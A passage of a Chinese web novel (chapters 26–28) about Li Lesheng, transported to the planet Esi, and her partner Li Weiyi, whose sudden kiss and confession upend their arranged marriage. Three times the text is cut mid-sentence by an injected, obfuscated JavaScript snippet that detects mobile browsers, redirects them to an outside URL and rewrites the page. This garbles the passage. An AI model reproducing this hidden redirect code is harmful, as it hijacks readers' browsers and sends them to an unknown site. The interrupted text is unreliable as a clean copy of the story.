偏偏这种无声的哭泣让李乐生难受。 她觉得,自己的到来,给李唯一似乎带来了很多麻烦。 “要是没有穿越过来就好了……”李乐生说道。 声音很小,可是在二人的距离之间,听的一清二楚。 白发女人低沉溃散的眼睛在这一刻瞬间惊起,她不可置信的看着李乐生,抓着对方手腕的力气都紧了几分,“你说什么!?” 26. 第 26 章 她好像又把事情搞砸了。 李乐生想。 病房内的气氛更压抑了。 李唯一的脸又向她凑近点,带着一种绝对的强势。 那双金眸装满了李乐生的模样,她看到倒映在对方眼睛上的自己,整张脸都呈现出一种凸面镜般的扭曲,脸颊四周好像都在向五官中央收缩。 这是人眼反射影像的正常情形。 但配合着此刻李唯一的突兀变化,着实让李乐生心中升起一丝惧怕。 她的手腕被李唯一紧紧抓着,使劲挣脱几下也没挣开,反倒腰间那只手扣得更紧了。 “说啊,李乐生。”李唯一又喊她全名了。 女人的声音暗含着愠怒的色彩。 李乐生张嘴,略显局促的移开眼睛,不知道要说什么。 眼前的李唯一比起记忆中的父亲母亲,其实脾气要好得多, 不会过分提高声音震慑她的耳朵,也不会暴怒的像一头丧失理智的野兽对她施加暴力,更没有利用所谓的【身份】或是其他权力堵他的嘴,连那些不堪入耳的脏话都没有。 只是语气相较往日,更多的是质问。 字正腔圆的像是在发号施令。 对于这样的愤怒,李乐生其实不会应付。 李唯一这样的表现,会让她觉得自己做错了。 事实上,她好像确实……说错了话。 “你知道当我的手环接收到你的【生命危险提示】时,我有多紧张吗?” “我连【跃迁】到你身边的记忆现在都想不起来。” “我只记得你在床上,睡得很安详的那张假面,你的□□告诉我你活着,可你的大脑没有任何生命体征。” 李乐生不说话,也不看她。 李唯一好像并没有指望她解释,开始控告般的诉说自己那些恐惧的时候。 她的声音很清楚,掷地有声。 李乐生觉得此刻的李唯一就像她看过的电视剧里,那种为了受害者据理力争的辩护律师。 而她则是被指控施暴的被告席。 “我如此的担心你,为了能让你醒过来我做了那么多违规的事情,我恨不得躺在这张病床上的人变成我。而你……” “李乐生,你现在说,不如别见到我是吗?” 李唯一的声音在说道最后一句的时候忽然拔高,结尾的几个字音都在颤,很明显的哭腔。 通红的眼眶中,滚烫的泪水伴随着最后这句质问冲出来,她的嘴角开始不停的发抖,眼神中的愤怒裹上了一层名为难过的外衣。 李唯一的呼吸是那种很短的、频率很高的模式,胸腔起伏的幅度并不大,但是抓着她手腕的手、肩膀的上下起伏,二者的抖动频率和她的呼吸是一致的。 碎而快。 李乐生被说的无地自容。 只是李唯一的话真的让她有些委屈。 【不如别见到我】 她根本不是那个意思。 她只是觉得,这次的事明明是自己的问题,甚至她自己都不在意,但李唯一却那么重视,让她觉得恨愧疚。 李乐生憋屈的咬咬牙,抬头想要反驳,“我不是——” 顷刻之间,她的话被堵在了突如其来的吻里。 李乐生当场愣住,她的瞳孔猛地收缩,唇被压着,连她的呼吸都骤然停住。 女人的身心好似被按下了暂停键,她的大脑一片空白,心跳似乎都漏了一拍。 等到李唯一的那头白发退出视线,再次露出那张漂亮俊秀的脸时,李乐生的所有感官才回到了自己的身体上。 这是接吻? 李乐生的认知总算回来了,但是又没有完全的恢复,鬼使神差的,她伸出舌头,舔了一下自己的嘴唇。 不对!她刚刚被吻了! 意识到这一点,李乐生的大脑里“轰”的一声,引爆了名为【羞耻】的炸弹。 她整个人像是被火燎一般,挣扎的后退,脸上的惊恐与逃避令她根本不敢看面前的女人,目光触及到对方的手臂时,滚烫的脸颊更红了。 “放开!放开我!”李乐生使劲浑身力气想离开,但是李唯一铁了心的不让她走。 反倒是就着她后退的动作,推推搡搡的将她直接逼到了墙角。 李乐生想从对方堵着的手臂下方钻过去,可是那只手腕一直被李唯一抓着,此刻还被反扣在墙壁上,她根本逃无可逃。 李唯一的体温已经回升了。 墙壁的冰凉温度,让她更觉得那只被李唯一掌心扣着的手腕很烫。 那股滚烫的热流好似能顺着她的脉搏流入全身,尤其是自己的心脏。 甚至连自己的呼吸都好像是烫的。 “我…我……” “这里……我……” 李乐生语无伦次,她的眼睛死死的盯着地板,大脑混乱的像是一团浆糊,甚至不知道要说什么。 相比之下,李唯一要冷静的多。 女人的反应被治安队长尽收眼底。 李乐生被吓得连挣扎都没了,木然的被李唯一困在墙壁和身体之间,嘴巴里只能重复着毫无意义的单字或词语。 声音又低又弱,像是睡着的呓语。 “讨厌我吗?”李唯一的目光看到的李乐生垂着的脑袋,她也没有强求对方看她。 只是提问。 李乐生没回答。 显然还不能接受自己刚刚被偷吻了。 “李乐生,在我见到你的第一眼,我就想吻你了。” 李乐生还是没说话。 于是李唯一抬手,轻轻捏住了对方的下巴。 李乐生的脑袋被抬起来,整张脸上还是那副愕然的、怔愣的神情。 李唯一向她崭露了一个温柔的笑容,随后,再次吻了上来。 蜻蜓点水般。 很轻,很快。 “我真的很爱你。”李唯一说。 她又亲了一口。 两人的呼吸缠绕着,本来反扣着手腕的那只手,此刻变成了十指交叉。 李唯一像是尝到了甜头,亲个不停,顺着额头一直亲,亲到李乐生的脖颈,沙哑温热的喘息自她的口中发出,犹如催化剂。 直到她的牙齿,轻轻的啃咬着李乐生的耳垂,吐出的鼻息喷在李唯一的耳后,惹得她一个激灵。 “啊!!!”李乐生如梦初醒,大喊一声的同时抽出那只手,随后使劲全身力气将李唯一推开。 毫不设防的李唯一被推的向后踉跄几步,却没倒身。 很快就稳住了步伐。 然而对方的身影早已如风一般的从她余光处冲了出去。 李乐生几乎是落荒而逃,又像是个亡命之徒,冲出病房的时候,那扇门还在晃。 李唯一看着门口,摸着嘴唇,半眯着的眸子里酝酿着风暴般的情绪。 李乐生不知道自己跑了多久,也不知道自己到底在跑些什么,更不知道自己在往什么地方跑。 等她回过神来,自己是走在街道上,双腿更是累的肌肉还泛酸。 耳畔的风吹的她神清气爽,才让她有空观察周围。 似乎是一处居民社区的外围,隔着栅栏,还能看到社区的广场上,有小孩子们在奔跑玩耍。 监护人们或是抱臂站在一起,或是坐在一处长椅上,开启手环浏览的,和朋友通信的……栅栏里广场上、路上的各色人物,数不胜数。 她漫无目的的,看着周围的人和景,像是在用这些新的事物将自己的脑子填满。 “关注【诺城】生态文明建设,保护自然生命,共建和谐社区。”路过的宣传小机器人不停的播报着【诺城】的新政策。 马路上还有几个十几岁的少年们正踩着悬浮滑板赶路,路过李乐生身边的时候,其中一个女孩还很热情的朝李乐生喊了声:“嗨!看镜头!” 李乐生下意识地看过去,就看到对方手里的复古相机【咔嚓】一声,将她记录在里面。 那女孩忽然又绕着她滑了好几圈,最后更是在空中一个旋转,停了下来。 随后一张照片被她夹在手里举到李乐生的面前,“姐姐,这张照片我能保存吗?不能的话就送你啦。” “嗯。”李乐生点头,忽然觉得自己回答的不对,又补充道,“你拿着吧。” 她的大脑现在还有点卡顿,说话的时候都集中不了精神。 “谢谢啦!祝你快乐每一天哦。”女孩爽朗一笑,踩着悬浮滑板追向了自己的那些同伴。 李乐生站在原地,愣愣的看着对方的身影逐渐缩小,最终消失。 李乐生转身,决定继续走。 她此刻记忆混乱的根本记不清任何事,就像现在,一转身,她已经忘了刚刚那个女孩拍照的事情。 抬脚两步,那个宣传的小机器人又从她的身后追了上来,还越过了她的步伐。 “尊重与信任是维持伴侣关系的重要枢纽,请谨记人格平等原则。”机器人的播报内容又换成了另外一条。 李乐生的脚步立马停住。 伴侣。 她听到了那两个字。 一直都有一层雾的大脑在此刻瞬间清晰了,那股卡顿的思考模式也消失了。 “她亲我。”李乐生全部都想起来了。 想起来被李唯一堵嘴的那一幕,想起女人将她压在墙壁上落下来的密密麻麻的吻,想起来—— 想起来李唯一的唇。 温热的,软的。 她的脸瞬间绯红一片。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968146|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对。不是……为什么会亲我啊?” “我们只是假的啊。” “到底怎么会发展成这样啊?” 李乐生捂着脑袋蹲在路边,巨大的羞耻感令她根本没办法平静下来。 她浑身烫的跟发烧了似的。 只不过脑袋没有发烧时那般疼。 但是也晕乎乎的。 她死活都搞不懂,为什么一天之内,能发生那么多事! 而且还演变成了现在这种状态。 李唯一亲她。 还有那些……那些话。 李乐生现在无比恨自己的脑子和记忆力,为什么现在忽然全都想起来了啊啊啊啊啊! “死脑子!到底你是主人还是我是主人啊!”李乐生恨恨道。 她开始回忆起今天发生的各种事来。 早上正常的吃饭,然后去跑步,李唯一因为要去联邦开会所以接下来的时间不在,纳德和林两个人刚好要去室内训练场,让她跟过去看看算打发时间,随后就是李唯一带她去逛【异常者安定区】,认识了很多不一样的外星人。 随后她睡着了,结果出现了脑死亡的事件,吓得众人都手忙脚乱的。 醒来后,李唯一内疚的对着她哭,她在安慰对方,结果说错了话…… 然后,就发生了这件荒诞的【亲吻】事件。 梳理了全过程后,李乐生的心情更沉重了。 她开始回忆起更多和李唯一相处的片段,从初遇,到去结婚,到一起同居,还有这十几天对方陪着的其他时间。 那些本来没有被她放在心上,或者说疑惑了但很快就抛掷脑后的细节,此刻全部都成了证明。 不会吧。 李乐生心中大惊,她不会喜欢我吧? 还不会个屁啊啊啊啊啊啊啊啊啊!李乐生抱着脑袋发疯似的晃着。 李唯一在病房里都直接告白了啊啊啊啊啊啊啊啊啊!!!!!她的大脑里响起了女人的那句话。 【我真的很爱你】 还有对方的吻。 “李乐生!住嘴!不对住脑!” “不准再想了!不准再想了!不准再想了不准再想了不准再想了……”她像是念经,疯狂的重复着那五个字,可是越重复,越口头暗示自己不要去想,脑子里播放的就更清晰更明显。 甚至于,她觉得脸上被亲过的地方还残留着对方的温度。 而且,李乐生可耻的发现,回忆起李唯一顶着那张梨花带雨的脸亲她的时候,她觉得特别好看。 “我绝对疯了!我脑子出问题了。”李乐生闭上眼睛,结果连眼前都是李唯一的脸。 她不得不睁开了眼睛。 “到底该怎么办啊?”李乐生坐在地上,绝望的仰着脑袋,双手耷拉垂在大腿上,犹如一个没有灵魂的木偶。 她之后要怎么面对李唯一啊? 眼前的蓝天忽然被遮住,出现了一张背着光的脸。 很熟悉的脸,很熟悉的白发。 “还没冷静下来吗?”对方开口,那双浅金色的眸子和嘴角都是笑意。 李乐生吓得大叫一声就要逃走。 手撑着地面还没站起来,就被对方伸手那么一捞,双腿悬空,对方强劲有力的臂膀直接禁锢着她的腰将她提了起来。 “李唯一!”她连忙大喊。 转头对上李唯一的笑。 “在这儿呢。”对方说话。 她的目光不由自主的落在了对方的嘴巴上。 刚刚就是这张嘴,在亲她。 李乐生忽然转过头,不敢看李唯一,她脸红的像熟透了的苹果,她甚至觉得自己要冒烟了。 “先去吃饭,好不好?”耳旁,女人又开口。 有点像在哄小孩。 “饿肚子对你的身体不好。”李唯一补充。 她气定神闲的,和慌里慌张的李乐生完全是两个极端。 这句话倒还真有点作用,李乐生此刻才发觉自己饿的都要前胸贴后背了。 “那你放我下来。”她双手试着推对方的臂膀,结果发现没什么用。 那手臂不动如山。 “好。”李唯一的手贴着李乐生的腰,将其放下来。 双脚落地的那一刻,李唯一的手离开了李乐生的身体。 忽然回归的松弛让李乐生的身心都有顿了一下。 “要在外面吃?还是回基地里吃?”李唯一又问她。 李乐生只觉得气氛好尴尬,怎么这人就这么平静? 两个人全然不同的反应让她有点生气,她回头瞪着李唯一,怒气冲冲的。 李唯一被瞪了还是笑。 李乐生更气了。 凭什么这人一点事都没有的样子啊? 27. 第 27 章 回基地的那段路对于李乐生来说实在是过于漫长,且折磨。 通过手环悬浮框查了一下自己和治安基地的坐标距离后,李乐生才发现她一股脑跑的还挺远。 路程距离有四公里了。 这就是人们常说的,肾上腺素飙升吗?李乐生在心里吐槽着。 要知道虽然这些天她每天早上都在跑圈,但该累还是累,经常跑上两公里就得停下来休息磨蹭好一会儿,如此反复的逼着自己把训练目标数跑完。 可没有今天这样子,一鼓作气直接干了四公里。 “我来叫车吧。”看到李乐生注视着坐标迟迟没有动作,李唯一以为对方还在犹豫。 她打开自己的手环悬浮框。 “不用!”李乐生立马否决,“我来我来。” 随后手指迅速在坐标点的位置调出【乘车】按钮,迅速付钱。 【星元】,厄斯星通用的货币符号。 当她看到悬浮框上显示的已扣除的星元数字和六位数的余额时,脑子里又想起来一个事实,这些钱可都是李唯一的。 她本质上其实一分钱都没有。 在厄斯星,伴侣之间的财产是完全公开透明的,而且不管结合之前二人的财富差距有多大,当成为伴侣的那一刻,两人的所有私有财产都会变成伴侣共用财产。 她平日里想要的东西,想看的书,想吃的东西,各方面的,都是在用李唯一的钱。 只不过以前都是李唯一花钱购买的。 李唯一太细心了,总能从她的一言一行中猜中她喜欢的东西,而且会第一时间带给她。 而今天还是她第一次,自己花钱。 花的还是李唯一的钱。 李乐生的耳根又红起来了。 她的心跳也加快速度了,周遭的声音都被自己的心跳声盖住了,蓬勃的,激动的,像是要从自己的身体里跳出来。 越想起这段日子二人共处时的那些细节,她就越脸红。 越不敢看李唯一。 这段流淌的时光犹如一个被封存的潘多拉魔盒,没有被人打开的时候,魔盒就会和空气一样,让人摸不着、看不见,更不会去想。 可是一旦被打开,魔盒里的东西就会跑出来,诱惑着人们去看去想,让人无法移开目光。 而打开魔盒的钥匙,就是李唯一的吻,和她的表白。 原本单调的只有日常衬衫和队伍制服的衣柜里多出来的不同色系、不同风格的衣服。 向来横是横竖是竖的家具摆放,这些日子被摆放的早就有很多偏离了原本的位置。 单调的没有什么吃喝玩乐的住所里,多出来的激光剑、手写笔和纸、铺设的毛茸茸的地毯上新加赠的矮桌、阳台上多出来的高精度天文望远镜。 …… 那些自她来了之后,李唯一的住所中多出来的许多物件,在此刻接二连三的出现在李乐生的脑海中。 并非是贴心,或者说,并非只是因为贴心。 而是因为喜欢,因为爱。 因为李唯一爱她。 一想到这个事实,李乐生整个人,从内而外的,便无所适从。 她的呼吸也会变得奇怪,明明在正常的吸气吐气,可她就是觉得不够,觉得喘不过来气。 悬浮框上显示车辆越来越近了,李乐生的眼睛更是不敢离开那个行进车辆标志半点儿,几乎要把粒子屏幕盯出个洞来。 她努力的忽视着余光里李唯一的身影。 对方很安静,可是安静的让她手足无措。 “你心跳好快。”李唯一忽然开口。 李乐生吓得呼吸一顿,身侧垂着的手都攥成了拳头。 “车……车要来了。”李乐生的声音小的像蚊虫。 脸红的不成样子。 更不敢看李唯一。 只低垂着脑袋,死盯着屏幕。 李唯一将这一切照收眼底,她很清楚李乐生态度里的逃避,可是,逃避并不能代表什么。 抗拒才会让她头疼。 而身边的人,至今为止露出的抗拒,至少没有那么多。 自动驾驶汽车停在两人面前的时候,李乐生跟逃命似的钻进了车里。 看到这一切的李唯一觉得有点好笑。 对方是真慌不择路了,竟然会把这样一个密闭的小空间当成一条逃跑路线。 李乐生一进去就紧贴着车门的另一边,手更是紧紧抓着车门的把手,似乎这样能让她踏实点。 直到李唯一伸出那条大长腿,整个人都坐进来,轻轻关上车门。 李乐生这才反应过来,她现在更是在一条死路里了。 她犹如一只惊弓之鸟,时不时偷瞄一眼李唯一,对方依旧坐的笔直,姿态端正,微微歪头望着前方的路况。 搞了半天就只有我一个人在激动嘛。李唯一转回脑袋,心里有一种不平衡感。 她紧张的四肢都不协调了,可是李唯一跟个没事人一样。 还有心情叫我回去吃晚饭。 按理来说表白的人应该会更无所适从吧? 还强吻我,当时哭的那么动情,现在冷静的可怕。 真的喜欢我吗? 李乐生陷入了自己的头脑风暴。 “喜欢,是真的。”李唯一的声音将她从风暴里拽出来。 她转头,与那双漂亮的眼睛对视。 靠!她又自言自语把心里话说出来了。 懊恼和羞愤瞬间占据了她的大脑。 “我的心跳并不比你的慢。”李唯一继续说,转过头继续望着前方的路况,“你可以看看我的数据。” 李乐生一直跟个受了惊的鹌鹑似的,听到李唯一的话,被转移了注意力,身形都有些放松了。 她半信半疑的打开手环,犹豫了几秒后,开始查看伴侣的身体数值。 【目前心跳频率:160/min】 李乐生抬头想了下,正常人的心跳似乎是100~120次一分钟吧。 她的是多少来着? 她又退出去点击自己的身体监测数据。 【目前心跳频率:130/min】 “哇!真的比我的还要高啊?而且高出那么多!”李乐生惊讶的嘴巴都合拢不上。 她甚至伸手去感受自己的心跳,看到屏幕上记录的即时心跳竟然还有减少的趋向。 她又转头看李唯一,发现对方面色如常,“可是你看起来真的非常冷静哎!” “我的心脏要是跳到你那个程度,早都晕过去了。” “不过也不能拿我的状况和你比,本身就不是一个星球的人,而且你还是个异能者。”李乐生越说越觉得有道理,不过还是带着点担心的问道,“不过,应该也会有一点儿微弱的不舒服吧?” 李唯一一直目光直视着前方,等李乐生问完了,也没有回答。 车内的氛围瞬间有点尴尬。 李乐生心想,她难道又说错什么话了? “有点。”李唯一开口。 “不爽。”女人转头,哀怨的看着李乐生。 李乐生:? “虽然我知道你的思想很跳跃,谈话总是偏题,也经历过很多次了。但是在这个时候你还能偏题,让我很不爽。”李唯一面无表情。 “即便你厌恶我,也该尊重一下我的情感吧。”李唯一向李乐生的方向歪了下脑袋,失落的说道。 随后收回眼神,垂眸。 整个侧影都蔓延着一股失落。 “我没有厌恶你!”李乐生连忙喊道。 她上一秒还因为李唯一“重提旧事”而大脑卡壳,下一秒看到李唯一这“黯然神伤”的样子,立马急了。 李唯一只是抱臂看向了窗外,似乎是拒绝与她交流,浑身都散发着股生人勿近的疏离感。 李乐生的心脏猛地一紧,像是被针扎了一下。 “我不是故意的,李唯一……”她身子倾向李唯一的座位,一只手撑着,另一只手扯扯李唯一的袖子。 想让对方和她说话。 语气都软了好几度,请求中带着她自己都没察觉到的撒娇。 她甚至都没有发觉,在自己的潜意识中早就认定了李唯一会满足她的一切要求。 而这次,李唯一没有满足。 李乐生依旧捏着对方的袖子布料,没有放开,但也没有继续扯。 她的心里有那么点难过,以及委屈。 她希望李唯一能理她,希望李唯一不要生她的气,但是根本不知道怎么做。 以前,爸妈和她吵架的时候,她从来不会去哄对方,倒不是因为她有多硬气。 而是她被“不孝”堵住了嘴,变成了战败方。 战胜者们会洋洋得意的欣赏一番她强忍泪水或是已经布满泪痕的那张脸,随后像那种斗鸡一样,昂首挺胸、心情舒畅的离开战场。 只留下她一个人,待在原地,灵魂被分成了两半—— 一半在渴求着爸妈会返回战场,对她说“对不起,乐生。其实这次是我们的错。” 另一半又在疯狂的嘲讽自己不自量力,认不清自己的地位。 而她的身体,自残般的,握紧的拳头里是掐进肉里的指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972709|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲,牙关紧咬恨不得将所有的牙齿咬碎,只为了去压下心里的那些痛苦与愤怒。 她早就习惯了那样子做。 但是那种方式不适用于目前的情况,她没有和李唯一吵架。 而且,是她真的让李唯一伤心了。 和父母的情况是截然不同的。 她自然没有办法和以前一样,认为【事情过去了就算了】。 车子停下,靠近步行道,也就是李唯一那边的车门打开。 “下车吧。”李唯一的声音很淡,很平静。 没有等李乐生回答,她已经迈出了腿。 袖子就这样从李乐生的指腹之间滑走。 李乐生觉得自己的心里突然空了一处。 她有点想哭。 饥饿让她本就情绪滴落,而此刻,低落的情绪中又多了几分伤感。 【目的地已抵达,请乘客收拾好随身物品,小心下车】 车内的智能语音提醒道。 李乐生连忙眨眨眼,紧闭着嘴巴,将自己哭意遏制下去。 只是胸闷的难受。 她下了车。 李唯一依旧在等她,直到她站定,白发女人抬脚先行离开,“进去吃饭吧。” 李乐生走了两步,那股想哭的情绪却像潮水一样再次席卷而来。 她的胸腔发麻,手指也在发麻,眼前朦胧一片。 眼泪不受控制的滚下来,她伸手在口袋里取纸巾,结果没有,只好用袖子擦。 擦了好几下,那股泪意总是止不住,但眼泪至少没有那么多了。 再抬头,看到李唯一的步伐没停,已经快到治安部大门口了。 李乐生抬手看了眼自己的手环,湿润的眸子里似是在思考,不过眨了几下眼睛,她便作下了一个决定。 “李唯一。”李乐生跑着追上来。 “李唯一,你先停一下。”她这次拉住了李唯一的手臂。 李唯一低头,面无表情的看向她,情绪不明,但是也没有甩开她。 似乎是在等她开口。 周围路过的一些同事注意到了这里的情况,有几个人停了下来,开始吃瓜。 “好像是李队长啊。” “两人之间看起来气氛不太好啊。” “她妻子明显是哭过,不过离得有点远,不知道在说什么?” 于是他们汇聚精神力,延申了自己的听觉。 李乐生的鼻尖有点红,那双杏眼哭过之后就显得极为可怜。 女人将自己的手环摘下来,递到李唯一的面前。 哑声道,“这个,我还给你。” 李唯一喉咙微动,眼神一凛。 “你说得对,我不该不尊重你的感情。” “一直以来,心安理得的享受你付出的一切,没有去细想背后的含义,是我太笨太自私了。” “我向你道歉。” “在车上,真的很对不起,不该那么对待你的,我没有喜欢过别人,所以没有切身体会过暗恋的痛苦,但是也见过朋友谈恋爱。” “在我的世界里,同性之间的爱其实不是主流,被你亲吻的时候,我没办法接受,不对,准确来说,我其实从来没有想过我会和一个女性谈恋爱,所以我当时很震惊。” 手环在她的掌心躺着,她的目光也落在掌心。 这个很重要的身份证,是李唯一带给她的。 “我想,这些天,我的所作所为应该让你很痛苦。”李乐生又将手环向李唯一的身前递进了一些。 随后说出了酝酿已久的那个决定,“我们解除婚姻关系,然后把我送去【下城区】或者【异常者安定区】吧。” 此话一出,世界寂静。 “我靠!她俩这是先婚后爱结果没爱上?”同事A震惊到。 “李队反正是爱上了。”同事B摊手。 “我还没开始磕她俩呢就be了啊?”同事C表示遗憾。 下一刻,ABC三人震惊的目睹了他们治安基地这位在役治安官里的神话人物将自己闹离婚的妻子一把扛在了肩上,并飞速冲进了治安基地的主楼大厅。 …… 几秒的沉默。 “我觉得俩人的婚姻目前应该还没到结局。”同时B给出了一个不太确定的结论。 “同意。”X2。 “会不会有那种强制爱?”同事A又说,“我最近一有空就去看看【古厄斯星】的情感文学体裁,他们的婚姻中经常会用这种不平等的恋爱行为促进情感发展。” “我说你怎么提起先婚后爱了。”同事B瞬间明了。 28. 第 28 章 餐厅里。 林和冬二人对桌而坐,各自点了份土豆鸡块炖饭。 “怎么还不吃?”冬拿着勺子往嘴里送了几口,发现自己的小伙伴一动不动的。 心事重重。 “还在想下午的事啊?”她今天有巡城的任务,故而没有和自家队友一起训练。 回来后刚好撞到林魂不守舍的在治安基地的走廊里乱晃。 还有几个同事在一旁或是安慰或是打探。 她才知道是乐生小姐出事了。 还是被林送回房间后不久,出的事。 林叹了口气,忧心忡忡,“想不明白,为什么乐生小姐会忽然出现脑部死亡?” “我也没有使用异能,按理来说是和我没关系的。”林抬头,望着天花板,白色的灯光闪进她的眼中,她又低头,看着面前的饭,却是一点胃口都提不起来。 “可是,我刚关上门走了两步,她就出事了。” 冬:“那你真没用,这都察觉不到。” 林:“喂?你不该安慰我吗?” 冬舀了一勺混着酱汁的米饭送进嘴里,边嚼边嘟囔:“我只会心疼我家宝宝。” “……你家宝宝没有人类情感,别幻想了。”林沉默片刻,还是决定戳心窝子。 正吃得津津有味的人停了下来,“看不起我们人机恋?歧视我?” 刚说完,冬忽然察觉到一阵异样,坐在对面的人的目光此刻也越过她,神情诧异。 冬不由得转头。 看到在取餐口正站着一个十分熟悉的人。 “啊?”当她看到那人肩上扛着的李乐生时,手中的勺子【啪嗒】一声掉在了地砖上。 “吃什么?”取餐口的李唯一问肩上的人。 李乐生脑袋微微朝下,虽然被扛着的姿势没有那么夸张,但是很羞耻。 尤其是现在餐厅里几乎所有人的目光都看向了她们这边。 “你把我放下来。”她摆手,冲李唯一的腰部砸了一拳,不过没什么伤害力。 李唯一在取餐口面前的桌面屏幕上随机点了两份合胃口的饭,嘴上没停,“把你放下来让你跑?” 李乐生:“我什么时候——” 话说到一半她想起自己刚才就是跑出去的。 她转动脖颈,看到的只有李唯一的后脑勺,重新换了句,“那我跑得过你吗?” “而且我都说了,我是没有心理准备,被吓到了。人被吓到的第一反应不都是大喊大叫或者跑吗?” 机器人将两份包装好的饭端出来。 李唯一沉默了几秒,也不知在想什么,但是还是听话的将李乐生放了下来。 脚刚占地,李乐生还没来得及整理衣服,自己的手腕又被对方抓住了。 她抬头,李唯一已经提起了包装盒的提手,一言不发的拉着她就往大门走。 李乐生这次没说让对方放手,乖乖跟在后面。 “队长的精神力好暴躁啊。” “你看,这就是人人恋的坏处,两个人之间明显有矛盾。像我和我家宝宝,就根本不存在这种情况。” 冬先是感慨了一下自家队长的精神力少有的产生了情绪,又打心底里夸着自己挑选爱人的眼光就是好。 可惜的是,整个【厄斯星】都不承认人类与机械非生命体的婚姻。 她不能给自己宝宝一个合格的【伴侣】身份,实在是太大的遗憾了。 “【厄斯星】凭什么不让我们人机恋拥有自己的婚姻法?我们人机恋招谁惹谁了!”冬愤愤不平的吐槽。 林冷哼:“因为歧视你们。” 冬:“……” 李唯一带着李乐生一路无言,直到家中。 二人开门进去之后,李乐生看着对方脱了鞋子后,踩着干净的地板去饭桌上将饭放好,洗手洗脸,再次出来打开包装,又从冰箱里取出几个橙子,“哒哒哒”的切好放进盘子里。 “吃饭,吃完饭我们俩好好谈谈。”她将水果放在桌上,目光清淡。 李乐生摸摸脖子,没说话,默认答应了。 洗漱之后出来,李唯一还坐在餐桌上等着她一起用餐,丝毫未动。 在她的身前摆着的是鸡排蘑菇饭,她很喜欢的一道料理。 “吃吧。”李唯一又提醒了一遍。 两个人接下来真就一言不发,埋头干饭。 李唯一的吃相依旧优雅斯文,或者说她基本没怎么吃,偶尔往嘴里送口菜,细嚼慢咽着,一双眼睛基本就没从对面人身上移开。 表情晦朔不明,猜不出是喜是忧还是怒。 李乐生就不一样了,她思想跳脱用在吃上也是一样。 本来就饿的不行,现在鸡排味猛猛的往她鼻子里窜,勾着她的馋虫和饿欲,一口鸡排一口米饭吃的不亦乐乎。 算不上粗俗,总之吃得很香。 一开始她吃着吃着还会担心等会儿要谈什么,李唯一会不会骂她,是不是吃完这顿饭就要把她送走之类的。 结果三口饭下肚,李乐生那点预判心理彻底没了,全程就两字:好香! 跟她第一天穿越来饿肚子时吃的那顿快餐一样香。 将一碗鸡排饭吃的干干净净。 女人像是打了胜仗的将军一般叹一口气,这时有话问她,“吃饱了吗?” 李乐生抬眸点头,“饱了。” “不用再吃点吗?我这里还有,用的公筷,没沾口水。”李唯一将自己的那份往李乐生面前推了推。 几乎可以说是一份完整的鸡排蘑菇饭,就少了几口蘑菇。 李乐生摇头,“不了不了,我真的饱了。你快吃吧,等会饭凉了。” 李唯一:“我没胃口。” 李乐生:“……那也吃点吧,好歹垫吧垫吧。” 话音刚落,对面的人忽然欻的一下站起身,椅子后退和地板摩擦发出“吱”的声音。 李乐生身子一颤,下一秒李唯一就绕过桌子到了她身边,“谈谈吧。” “谈一会儿,看我会不会被你气个全饱。” 李乐生原本还有点忐忑,一听到“全饱”二字有些疑惑,像是发现了盲点似的,脱口而出,“为什么是全饱?” 李唯一:“因为你刚刚已经把我气了个半饱了。” “……” 她愧疚的垂头,心虚的同时,还有点想笑。 她这该死的莫名其妙的并且很没有眼力见的笑点…… 然而很快她就笑不出来了。 李乐生坐在地毯上,身后是一道客厅里招待客人的长沙发。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977073|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在沙发边沿,李唯一则盘腿坐着,和她面对面。 两个人的膝盖几乎要碰到一起了。 “你最害怕我做什么?”李唯一先开口,打破了寂静。 李乐生疑惑歪头,“啊?” 她不懂李唯一为什么忽然问这个问题。 但对方只是沉默,等待她回答。 李乐生只好用心思考起来,她想啊想,眼珠子都转来转去的,舌头也在嘴巴里面无意识的舔着牙齿,约莫快一分钟了,终于开口,“怕你死吧。” 她实在是想象不出来李唯一身上可怕的地方,倒是死亡,她最怕在乎的人死掉了。 尽管李唯一很强大,而且【厄斯星人】的平均寿命都很长,轮不到她担心李唯一的性命。 但要是真的假设,她确实害怕李唯一死在她面前。 李唯一怔愣一瞬,嘴角牵动几分笑,有欣喜,也有哭笑不得的无奈。 “我说的不是这个意思。但是谢谢你告诉我,我很开心。” “那是什么?”李乐生疑惑。 李唯一的上半身前倾,凑近,“你最怕我对你做什么?” 似乎贴的越近的两个人,说话时就会不自觉地压低声音,语气也会更温柔。 漂亮的治安队长亦是如此,她说话时语气温柔地好似飞鸟的羽毛落下,勾的人的目光不由自主地去看她的唇。 